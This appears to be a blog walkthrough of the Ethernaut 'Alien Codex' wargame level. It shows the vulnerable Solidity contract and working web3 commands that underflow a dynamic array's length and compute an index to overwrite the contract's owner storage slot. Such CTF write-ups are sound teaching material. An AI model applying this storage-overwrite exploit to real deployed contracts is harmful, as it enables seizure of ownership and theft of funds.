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Erhan Tezcan
Erhan Tezcan

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Ethernaut: 19. Alien Codex

Play the level

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {

  function make_contact() public {
    contact = true;

  function record(bytes32 _content) contacted public {

  function retract() contacted public {

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
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The problem is hinting us to somehow use the codex array to change the owner of the contract. The tool in doing so probably has something to do with the length of array. In fact, the retract is suspiciously dangerous, and actually might underflow the array length!. The array length is an uint256, and once it is underflowed you basically "have" the entire contract storage (all 2 ^ 256 - 1 slots) as a part of your array. Consequently, you can index everything in the memory with that array!

  • After make_contact, we see that await web3.eth.getStorageAt(contract.address, 0) returns 0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272. Remember that smaller than 32-bytes variables are bundled together if they are conseuctive, so this is actually owner and contact variable side by side! The 01 at the end of leftmost 0x00..01 stands for the boolean value.
  • The next slot, await web3.eth.getStorageAt(contract.address, 1) is the length of codex array. If you record something you will see that it gets incremented. Well, what if we retract? You will be shocked to see that it becomes 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff!

So then, how does indexing work and how can we index the owner slot now that our array covers the entire storage? We look at the docs of highest version 0.5.0 as that is what the puzzle uses:

The mapping or the dynamic array itself occupies a slot in storage at some position p according to the above rule (or by recursively applying this rule for mappings of mappings or arrays of arrays). For dynamic arrays, this slot stores the number of elements in the array. Array data is located at keccak256(p).

To see this in action, we can do:

await contract.record('0xffffffffffffffffffffffffffffffff')
await web3.eth.getStorageAt(contract.address , web3.utils.hexToNumberString(web3.utils.soliditySha3(1)))
// 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000
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Alright, so first we have to retract until the array length underflows, and then we just have to offset enough from keccak256(1) until we overflow and get back to 0th index, overwriting the owner! The array data is located at uint256(keccak256(1)) and there are 2 ** 256 - 1 - uint256(keccak256(1)) values between that and the end of memory. So, just adding one more to that would mean we go to 0th index. To calculate this index I just wrote a small Solidity code in Remix:

function index() public pure returns(uint256) {
  return type(uint256).max - uint256(keccak256(abi.encodePacked(uint256(1)))) + 1; 
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Then I call the revise function as follows:

await contract.codex('35707666377435648211887908874984608119992236509074197713628505308453184860938') // if you want to confirm
await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938', web3.utils.padLeft(player, 64))
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Note that you can't set the array length property since version 0.6.0, thankfully! See

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